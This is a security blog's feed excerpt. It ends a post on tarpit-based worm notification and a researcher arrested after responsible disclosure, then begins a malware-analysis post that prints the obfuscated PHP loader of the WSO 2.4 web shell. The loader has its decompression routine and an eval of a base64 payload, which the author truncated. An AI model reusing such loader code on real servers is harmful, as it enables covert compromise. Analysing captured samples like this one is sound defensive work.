<p>The initial version of LaBrea simply monitored the network for unanswered ARP requests, and when it saw that the router was trying to send packets to an empty IP address, would answer with an ARP reply, essentially creating a &ldquo;fake&rdquo; system on the empty address. When TCP SYN packets were forwarded by the router, LaBrea would respond with a SYN-ACK and then simply ignore anything else. This resulted in a drastic slowdown of the attack phase of a network worm - because it would complete the three way handshake and continue to try to send data until the connection timed out. Later versions of LaBrea incorporated the idea of &ldquo;persist-trapping&rdquo; connections by completing the three-way handshake, and then setting the TCP window size to zero - essentially telling the attacking system that it was busy processing the data it had received. LaBrea would then answer the attacking system&rsquo;s &ldquo;Window Probe&rdquo; packets (packets that, essentially, say &ldquo;Hey! Did you forget about me?&rdquo;) keeping it &ldquo;on hold&rdquo; indefinitely. Literally indefinitely. Seriously&hellip; I held &ldquo;persist-trapped&rdquo; connections open for six months or more&hellip;</p>
<p>I had called the company several times and left messages for their main IT manager, explaining that he had multiple compromised systems on his network - but the &ldquo;persist-trapped&rdquo; connections never went away. Finally, right before Thanksgiving, I got the man himself on the phone.</p>
<p><em>&ldquo;Those systems can&rsquo;t be compromised&hellip; we&rsquo;re running AV on them.&rdquo;</em></p>
<p>God, how I hate those words&hellip;</p>
<p>I took a deep breath and explained that while running AV was a very important preventative measure, it wasn&rsquo;t a silver bullet when it came to malware. I explained that if those were his IP addresses, that there was - literally - no doubt that his systems had attacked mine, and that unless he knew a reason they should be talking to my instance of LaBrea, that he really needed to check those boxes out. When I hung up the phone, I was about 90% sure he would just ignore me.</p>
<p>It was about a week later when I got a return call. That, in and of itself, was pretty surprising, but the story he told me was even better. After that first call, he had decided I was some kind of loony crackpot, but later that afternoon, one of his junior guys wandered into his office with a concerned look and a printout of some firewall logs. <em>&ldquo;So what,&rdquo;</em> he&rsquo;d said to the junior, <em>&ldquo;we&rsquo;re getting hit all the time by worms on port 80&hellip;&rdquo;</em></p>
<p><em>&ldquo;But boss,&rdquo;</em> had come the reply, <em>&ldquo;these aren&rsquo;t inbound&hellip; they&rsquo;re outbound.&rdquo;</em></p>
<p>The only thing that saved their company from being an enormous netmenace was that 99% of their machines needed to use a proxy for outbound HTTP access, and the worm they were infected with wasn&rsquo;t proxy-aware. The other 1% had landed squarely in my tarpit.</p>
<p>He apologized profusely and explained that it had taken him several days to work up the nerve to call me. He also said something that has stuck with me over the years: <em>&ldquo;Sometimes the biggest mistake you can make is ‘knowing&rsquo; that you&rsquo;re right.&rdquo;</em></p>
<p>As it turned out, he must&rsquo;ve also convinced someone at his company that they owed me a Harry and David gift basket.</p>
<p>Fast forward to today, and the <a href="http://www.dailydot.com/politics/justin-shafer-fbi-raid/">story of Justin Shafer</a>, a security researcher pulled from his home at 6:30am, handcuffed, and interrogated for the despicable crime of telling a dental software company that they had unencrypted patient data publicly available on an FTP server that allowed &ldquo;anonymous&rdquo; access.</p>
<p>Based on the information I&rsquo;ve seen, Shafer did everything right when he discovered the patient data as a result of some Google searches. He worked with others to notify the affected company and made sure that no information on the disclosure was made public until after the data had been secured. It seems like he went above and beyond to be the epitome of &ldquo;responsible disclosure.&rdquo;</p>
<p>As a result, the affected company (who I won&rsquo;t mention here because, God knows, they&rsquo;ve already demonstrated that they&rsquo;ve got a litigious streak a mile wide&hellip;) swore out a complaint against him claiming that Shafer had accessed the data on their unsecured anonymous FTP server &ldquo;without authorization&rdquo; and should be charged criminally under the Computer Fraud and Abuse Act (CFAA). Shafer was treated like a criminal and even had a bunch of his equipment confiscated while charges are being considered.</p>
<p>IANAL, but I find it beyond comprehension that ANY access to an unsecured anonymous FTP server could be considered &ldquo;unauthorized.&rdquo; The whole point of an anonymous FTP server is that it doesn&rsquo;t require authentication and therefore everyone is authorized to use it.</p>
<p>How did this complaint possibly pass the smell test by the FBI (who were the ones arresting Shafer)? Doesn&rsquo;t anyone over there know how an anonymous FTP server works?</p>
<p>The world has changed a lot since I first started working in security, and those changes haven&rsquo;t always been for the better. <a href="https://yourflyis0pen.com/article/and-who-are-you/">Shooting the messenger</a> is becoming an increasingly &ldquo;acceptable&rdquo; response of late, and its a trend that makes me wonder if trying to be a &ldquo;good guy&rdquo; is worth it anymore. When am I going to be dragged out of bed, handcuffed in front of my family, and face prosecution simply because I tried to explain to some random company that someone hacked their servers? When will reporting a netmence land me in jail?</p>
<p>I much prefer Harry and David gift baskets.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 31, 2016</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/notification" term="notification" label="notification" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Shell Collecting]]></title>
            <link href="https://yourflyis0pen.com/article/shell-collecting/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/the-russian-linking-rings/?utm_source=atom_feed" rel="related" type="text/html" title="The Russian Linking Rings" />
                <link href="https://yourflyis0pen.com/article/those-crazy-belgians/?utm_source=atom_feed" rel="related" type="text/html" title="Those Crazy Belgians" />
                <link href="https://yourflyis0pen.com/article/partly-cloudy/?utm_source=atom_feed" rel="related" type="text/html" title="Partly Cloudy With a Chance of a Colon Clense" />
                <link href="https://yourflyis0pen.com/article/toyz-from-china/?utm_source=atom_feed" rel="related" type="text/html" title="Toyz From China" />
            
                <id>https://yourflyis0pen.com/article/shell-collecting/</id>
            
            
            <published>2016-05-27T17:01:54-06:00</published>
            <updated>2016-05-27T17:01:54-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>Running a honeypot has turned me into a bit of a &ldquo;collector.&rdquo;</p>
<p>I collect all sorts of interesting things that the bad guys of the Internet happen to leave lying around on systems they <em>think</em> they&rsquo;ve 0wned.</p>
<p>Over the years, I&rsquo;ve collected LOTS of malware&hellip; so, generally speaking, you probably don&rsquo;t want to piss me off and then give me access to your computer.</p>
<p>Some of the most interesting &ldquo;collectibles&rdquo; I&rsquo;ve managed to acquire are the tools used by attackers to ply their &ldquo;trade.&rdquo; As software goes, they range quite a bit in sophistication - from half-baked scripts that are destined to fail a majority of the time, all the way up to incredibly sophisticated &ldquo;point-n-click&rdquo; toyz that have been through hundreds of versions and incremental changes over the years.</p>
<p>Today, I&rsquo;m going to show you one of the more interesting tools I&rsquo;ve found. I&rsquo;ve seen it before, but never really took the time to dig into it and see exactly what makes it tick&hellip; so how about if we take a look?</p>
<p>Some incredibly giving individual attempted to 0wn my webserver through a remote file inclusion attack. While the attack unfortunately failed for him&hellip; <em>guffaw</em>&hellip; I ended up with a copy of the file he was attempting to use.</p>
<p>Known as &ldquo;Web Shell by orb&rdquo; (or &ldquo;WSO&rdquo; for short&hellip;) I was gifted with a copy of version 2.4 (I did a little digging and found that it is an older version - apparently there&rsquo;s much newer versions out there - v3.1 - but I suppose I shouldn&rsquo;t look a gift horse in the mouth&hellip;)</p>
<p>It arrived as a wonderfully ugly, obfuscated 42,637 byte PHP file that was, essentially, just 6 lines long. Before doing anything else, I &ldquo;beautified&rdquo; the code a bit&hellip; and it ended up looking like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#39c">&lt;?</span>php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">if</span> (preg_match(<span style="color:#cd0000">&#39;!MIDP|WAP|Windows.CE|PPC|Series60|Opera.Mini|Mobile|Symbian|Android!i&#39;</span>, <span style="color:#00cdcd">$_SERVER</span>[<span style="color:#cd0000">&#39;HTTP_USER_AGENT&#39;</span>]) <span style="color:#39c">||</span> <span style="color:#39c">!</span>preg_match(<span style="color:#cd0000">&#39;!windows.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|ipad|iphone|libwww|msn|fdm|maui|webmoney!i&#39;</span>, <span style="color:#00cdcd">$_SERVER</span>[<span style="color:#cd0000">&#39;HTTP_USER_AGENT&#39;</span>])) {
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">if</span> (<span style="color:#39c">!</span>function_exists(<span style="color:#cd0000">&#34;TC9A16C47DA8EEE87&#34;</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#cdcd00">function</span> TC9A16C47DA8EEE87(<span style="color:#00cdcd">$T059EC46CFE335260</span>)
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T059EC46CFE335260</span> <span style="color:#39c">=</span> base64_decode(<span style="color:#00cdcd">$T059EC46CFE335260</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$TC9A16C47DA8EEE87</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T65CE9F6823D588A7</span> <span style="color:#39c">=</span> (ord(<span style="color:#00cdcd">$T059EC46CFE335260</span>[<span style="color:#cd00cd">1</span>]) <span style="color:#39c">&lt;&lt;</span> <span style="color:#cd00cd">8</span>) <span style="color:#39c">+</span> ord(<span style="color:#00cdcd">$T059EC46CFE335260</span>[<span style="color:#cd00cd">2</span>]);
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$TBF14159DC7D007D3</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">3</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T77605D5F26DD5248</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T4A747C3263CA7A55</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">16</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T7C7E72B89B83E235</span> <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T0D47BDF6FD9DDE2E</span> <span style="color:#39c">=</span> strlen(<span style="color:#00cdcd">$T059EC46CFE335260</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T43D5686285035C13</span> <span style="color:#39c">=</span> __FILE__;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T43D5686285035C13</span> <span style="color:#39c">=</span> file_get_contents(<span style="color:#00cdcd">$T43D5686285035C13</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T6BBC58A3B5B11DC4</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>;
</span></span><span style="display:flex;"><span>                preg_match(base64_decode(<span style="color:#cd0000">&#34;LyhwcmludHxzcHJpbnR8ZWNobykv&#34;</span>) , <span style="color:#00cdcd">$T43D5686285035C13</span>, <span style="color:#00cdcd">$T6BBC58A3B5B11DC4</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#cdcd00">for</span> (; <span style="color:#00cdcd">$TBF14159DC7D007D3</span> <span style="color:#39c">&lt;</span> <span style="color:#00cdcd">$T0D47BDF6FD9DDE2E</span>;) {
</span></span><span style="display:flex;"><span>                        <span style="color:#cdcd00">if</span> (count(<span style="color:#00cdcd">$T6BBC58A3B5B11DC4</span>)) <span style="color:#cdcd00">exit</span>;
</span></span><span style="display:flex;"><span>                        <span style="color:#cdcd00">if</span> (<span style="color:#00cdcd">$T4A747C3263CA7A55</span> <span style="color:#39c">==</span> <span style="color:#cd00cd">0</span>) {
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$T65CE9F6823D588A7</span> <span style="color:#39c">=</span> (ord(<span style="color:#00cdcd">$T059EC46CFE335260</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]) <span style="color:#39c">&lt;&lt;</span> <span style="color:#cd00cd">8</span>);
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$T65CE9F6823D588A7</span><span style="color:#39c">+=</span> ord(<span style="color:#00cdcd">$T059EC46CFE335260</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]);
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$T4A747C3263CA7A55</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">16</span>;
</span></span><span style="display:flex;"><span>                        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        <span style="color:#cdcd00">if</span> (<span style="color:#00cdcd">$T65CE9F6823D588A7</span> <span style="color:#39c">&amp;</span> <span style="color:#cd00cd">0x8000</span>) {
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$TC9A16C47DA8EEE87</span> <span style="color:#39c">=</span> (ord(<span style="color:#00cdcd">$T059EC46CFE335260</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]) <span style="color:#39c">&lt;&lt;</span> <span style="color:#cd00cd">4</span>);
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$TC9A16C47DA8EEE87</span><span style="color:#39c">+=</span> (ord(<span style="color:#00cdcd">$T059EC46CFE335260</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span>]) <span style="color:#39c">&gt;&gt;</span> <span style="color:#cd00cd">4</span>);
</span></span><span style="display:flex;"><span>                                <span style="color:#cdcd00">if</span> (<span style="color:#00cdcd">$TC9A16C47DA8EEE87</span>) {
</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span> <span style="color:#39c">=</span> (ord(<span style="color:#00cdcd">$T059EC46CFE335260</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]) <span style="color:#39c">&amp;</span> <span style="color:#cd00cd">0x0F</span>) <span style="color:#39c">+</span> <span style="color:#cd00cd">3</span>;
</span></span><span style="display:flex;"><span>                                        <span style="color:#cdcd00">for</span> (<span style="color:#00cdcd">$T17D35BB9DF7A47E4</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>; <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span> <span style="color:#39c">&lt;</span> <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span>; <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span><span style="color:#39c">++</span>) <span style="color:#00cdcd">$T7C7E72B89B83E235</span>[<span style="color:#00cdcd">$T77605D5F26DD5248</span> <span style="color:#39c">+</span> <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span>] <span style="color:#39c">=</span> <span style="color:#00cdcd">$T7C7E72B89B83E235</span>[<span style="color:#00cdcd">$T77605D5F26DD5248</span> <span style="color:#39c">-</span> <span style="color:#00cdcd">$TC9A16C47DA8EEE87</span> <span style="color:#39c">+</span> <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span>];
</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$T77605D5F26DD5248</span><span style="color:#39c">+=</span> <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span>;
</span></span><span style="display:flex;"><span>                                }
</span></span><span style="display:flex;"><span>                                <span style="color:#cdcd00">else</span> {
</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span> <span style="color:#39c">=</span> (ord(<span style="color:#00cdcd">$T059EC46CFE335260</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]) <span style="color:#39c">&lt;&lt;</span> <span style="color:#cd00cd">8</span>);
</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span><span style="color:#39c">+=</span> ord(<span style="color:#00cdcd">$T059EC46CFE335260</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]) <span style="color:#39c">+</span> <span style="color:#cd00cd">16</span>;
</span></span><span style="display:flex;"><span>                                        <span style="color:#cdcd00">for</span> (<span style="color:#00cdcd">$T17D35BB9DF7A47E4</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>; <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span> <span style="color:#39c">&lt;</span> <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span>; <span style="color:#00cdcd">$T7C7E72B89B83E235</span>[<span style="color:#00cdcd">$T77605D5F26DD5248</span> <span style="color:#39c">+</span> <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span><span style="color:#39c">++</span>] <span style="color:#39c">=</span> <span style="color:#00cdcd">$T059EC46CFE335260</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span>]);
</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>;
</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$T77605D5F26DD5248</span><span style="color:#39c">+=</span> <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span>;
</span></span><span style="display:flex;"><span>                                }
</span></span><span style="display:flex;"><span>                        }
</span></span><span style="display:flex;"><span>                        <span style="color:#cdcd00">else</span> <span style="color:#00cdcd">$T7C7E72B89B83E235</span>[<span style="color:#00cdcd">$T77605D5F26DD5248</span><span style="color:#39c">++</span>] <span style="color:#39c">=</span> <span style="color:#00cdcd">$T059EC46CFE335260</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>];
</span></span><span style="display:flex;"><span>                        <span style="color:#00cdcd">$T65CE9F6823D588A7</span> <span style="color:#39c">&lt;&lt;=</span> <span style="color:#cd00cd">1</span>;
</span></span><span style="display:flex;"><span>                        <span style="color:#00cdcd">$T4A747C3263CA7A55</span><span style="color:#39c">--</span>;
</span></span><span style="display:flex;"><span>                        <span style="color:#cdcd00">if</span> (<span style="color:#00cdcd">$TBF14159DC7D007D3</span> <span style="color:#39c">==</span> <span style="color:#00cdcd">$T0D47BDF6FD9DDE2E</span>) {
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$T43D5686285035C13</span> <span style="color:#39c">=</span> implode(<span style="color:#cd0000">&#34;&#34;</span>, <span style="color:#00cdcd">$T7C7E72B89B83E235</span>);
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$T43D5686285035C13</span> <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;?&#34;</span> <span style="color:#39c">.</span> <span style="color:#cd0000">&#34;&gt;&#34;</span> <span style="color:#39c">.</span> <span style="color:#00cdcd">$T43D5686285035C13</span>;
</span></span><span style="display:flex;"><span>                                <span style="color:#cdcd00">return</span> <span style="color:#00cdcd">$T43D5686285035C13</span>;
</span></span><span style="display:flex;"><span>                        }
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">eval</span>(TC9A16C47DA8EEE87(<span style="color:#cd0000">&#34;QAIAPD9waHAgABEkY2...[approximately 40,000 characters]...QF8MISgnAr8CsQkgSFB0AHA/Pg==&#34;</span>)); <span style="color:#000080">?&gt;</span><span style="">
</span></span></span></code></pre></div>
<p>I&rsquo;ve &ldquo;edited out&rdquo; a whole chunk of the parameter passed in the final function call, but, you get the idea&hellip; even &ldquo;beautified,&rdquo; it&rsquo;s pretty ugly.</p>
<p>I&rsquo;m not the kind of person who likes having things hidden from me, so I decided to take a little time and see if I could de-obfuscate the code a bit&hellip; at least enough to, hopefully, see what was really going on here. That meant that I needed to decode that big ol&rsquo; encoded parameter.</p>
<p>Now&hellip; the way that I did this isn&rsquo;t something that I recommend. In fact, I <em>strongly</em> recommend that you <em>NOT</em> do this. I&rsquo;ve been pulling this kind of dumbass stunt for many years and I&rsquo;ve only gotten away with it because - <a href="https://yourflyis0pen.com/article/doh">for the most part</a> - I actually <em>do</em> know what I&rsquo;m doing. I take precautions:</p>
<ul>
<li>Working in a &ldquo;snapshotted&rdquo; virtual machine</li>
<li>Keeping my work environment isolated from:
<ul>
<li>My local network</li>
<li>The Internet</li>
</ul>
</li>
<li>Monitoring everything</li>
</ul>
<p><em>Remember: Even if you do all that, you can still end up shooting yourself in the foot&hellip;</em></p>
<p>Oh&hellip; it also helps if you know something about programming&hellip;</p>
<p>To begin, I decided to take a look at the code itself and do a little judicious &ldquo;editing&rdquo;&hellip; replacing some of the funky variable names with something that made more sense. I wanted to see if I could figure out a little about what was going on in the code, so I could, perhaps, write something to decode that long encoded string. After a few minutes of editing, the code looked like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#39c">&lt;?</span>php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">if</span> (preg_match(<span style="color:#cd0000">&#39;!MIDP|WAP|Windows.CE|PPC|Series60|Opera.Mini|Mobile|Symbian|Android!i&#39;</span>, <span style="color:#00cdcd">$_SERVER</span>[<span style="color:#cd0000">&#39;HTTP_USER_AGENT&#39;</span>]) <span style="color:#39c">||</span> <span style="color:#39c">!</span>preg_match(<span style="color:#cd0000">&#39;!windows.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|ipad|iphone|libwww|msn|fdm|maui|webmoney!i&#39;</span>, <span style="color:#00cdcd">$_SERVER</span>[<span style="color:#cd0000">&#39;HTTP_USER_AGENT&#39;</span>])) {
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">if</span> (<span style="color:#39c">!</span>function_exists(<span style="color:#cd0000">&#34;TC9A16C47DA8EEE87&#34;</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#cdcd00">function</span> TC9A16C47DA8EEE87(<span style="color:#00cdcd">$input</span>)
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$input</span> <span style="color:#39c">=</span> base64_decode(<span style="color:#00cdcd">$input</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$TC9A16C47DA8EEE87</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T65CE9F6823D588A7</span> <span style="color:#39c">=</span> (ord(<span style="color:#00cdcd">$input</span>[<span style="color:#cd00cd">1</span>]) <span style="color:#39c">&lt;&lt;</span> <span style="color:#cd00cd">8</span>) <span style="color:#39c">+</span> ord(<span style="color:#00cdcd">$input</span>[<span style="color:#cd00cd">2</span>]);
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$TBF14159DC7D007D3</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">3</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T77605D5F26DD5248</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T4A747C3263CA7A55</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">16</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T7C7E72B89B83E235</span> <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$input_length</span> <span style="color:#39c">=</span> strlen(<span style="color:#00cdcd">$input</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#000080">#$file_contents = __FILE__;
</span></span></span><span style="display:flex;"><span><span style="color:#000080"></span>                <span style="color:#00cdcd">$file_contents</span> <span style="color:#39c">=</span> file_get_contents(<span style="color:#cd0000">&#34;&lt;original filename&gt;&#34;</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#00cdcd">$T6BBC58A3B5B11DC4</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#000080">#preg_match(&#34;/(print|sprint|echo)/&#34; , $file_contents, $T6BBC58A3B5B11DC4);
</span></span></span><span style="display:flex;"><span><span style="color:#000080"></span>                <span style="color:#cdcd00">for</span> (; <span style="color:#00cdcd">$TBF14159DC7D007D3</span> <span style="color:#39c">&lt;</span> <span style="color:#00cdcd">$input_length</span>;) {
</span></span><span style="display:flex;"><span>                        <span style="color:#000080">#if (count($T6BBC58A3B5B11DC4)) exit;
</span></span></span><span style="display:flex;"><span><span style="color:#000080"></span>                        <span style="color:#cdcd00">if</span> (<span style="color:#00cdcd">$T4A747C3263CA7A55</span> <span style="color:#39c">==</span> <span style="color:#cd00cd">0</span>) {
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$T65CE9F6823D588A7</span> <span style="color:#39c">=</span> (ord(<span style="color:#00cdcd">$input</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]) <span style="color:#39c">&lt;&lt;</span> <span style="color:#cd00cd">8</span>);
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$T65CE9F6823D588A7</span> <span style="color:#39c">+=</span> ord(<span style="color:#00cdcd">$input</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]);
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$T4A747C3263CA7A55</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">16</span>;
</span></span><span style="display:flex;"><span>                        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        <span style="color:#cdcd00">if</span> (<span style="color:#00cdcd">$T65CE9F6823D588A7</span> <span style="color:#39c">&amp;</span> <span style="color:#cd00cd">0x8000</span>) {
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$TC9A16C47DA8EEE87</span> <span style="color:#39c">=</span> (ord(<span style="color:#00cdcd">$input</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]) <span style="color:#39c">&lt;&lt;</span> <span style="color:#cd00cd">4</span>);
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$TC9A16C47DA8EEE87</span> <span style="color:#39c">+=</span> (ord(<span style="color:#00cdcd">$input</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span>]) <span style="color:#39c">&gt;&gt;</span> <span style="color:#cd00cd">4</span>);
</span></span><span style="display:flex;"><span>                                <span style="color:#cdcd00">if</span> (<span style="color:#00cdcd">$TC9A16C47DA8EEE87</span>) {
</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span> <span style="color:#39c">=</span> (ord(<span style="color:#00cdcd">$input</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]) <span style="color:#39c">&amp;</span> <span style="color:#cd00cd">0x0F</span>) <span style="color:#39c">+</span> <span style="color:#cd00cd">3</span>;
</span></span><span style="display:flex;"><span>                                        <span style="color:#cdcd00">for</span> (<span style="color:#00cdcd">$T17D35BB9DF7A47E4</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>; <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span> <span style="color:#39c">&lt;</span> <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span>; <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span><span style="color:#39c">++</span>) <span style="color:#00cdcd">$T7C7E72B89B83E235</span>[<span style="color:#00cdcd">$T77605D5F26DD5248</span> <span style="color:#39c">+</span> <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span>] <span style="color:#39c">=</span> <span style="color:#00cdcd">$T7C7E72B89B83E235</span>[<span style="color:#00cdcd">$T77605D5F26DD5248</span> <span style="color:#39c">-</span> <span style="color:#00cdcd">$TC9A16C47DA8EEE87</span> <span style="color:#39c">+</span> <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span>];
</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$T77605D5F26DD5248</span> <span style="color:#39c">+=</span> <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span>;
</span></span><span style="display:flex;"><span>                                }
</span></span><span style="display:flex;"><span>                                <span style="color:#cdcd00">else</span> {
</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span> <span style="color:#39c">=</span> (ord(<span style="color:#00cdcd">$input</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]) <span style="color:#39c">&lt;&lt;</span> <span style="color:#cd00cd">8</span>);
